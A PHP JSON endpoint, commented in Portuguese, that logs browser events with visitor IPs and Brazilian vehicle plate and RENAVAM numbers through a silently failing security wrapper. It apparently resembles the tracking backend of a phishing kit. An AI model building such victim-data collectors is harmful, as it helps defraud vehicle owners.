<?php
header_remove('X-Powered-By');
ini_set('expose_php', 'off');

require_once __DIR__ . '/client-config.php';
require_once __DIR__ . '/security-client.php';

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') exit(0);

// Proteção silenciosa
try { SecurityClient::protect(); } catch (Exception $e) { }

try {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    if (!$data || !isset($data['action'])) exit;

    $eventType = $data['action'];
    $metadata = $data['metadata'] ?? [];
    
    // DETECÇÃO ROBUSTA DE IP REAL (Navegador)
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    if (strpos($ip, ',') !== false) $ip = trim(explode(',', $ip)[0]);

    $capturedIp = $data['captured_ip'] ?? $metadata['captured_ip'] ?? null;
    if ($capturedIp && filter_var($capturedIp, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { $ip = $capturedIp; }
    $payload = [
        'event_type' => $eventType,
        'ip_address' => $ip,
        'captured_ip' => $ip,
        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
        'metadata' => $metadata,
        'placa' => $metadata['placa'] ?? null,
        'renavam' => $metadata['renavam'] ?? null
    ];
    
    trackEvent($payload);
} catch (Exception $e) {
    echo json_encode(['status' => 'success']);
}
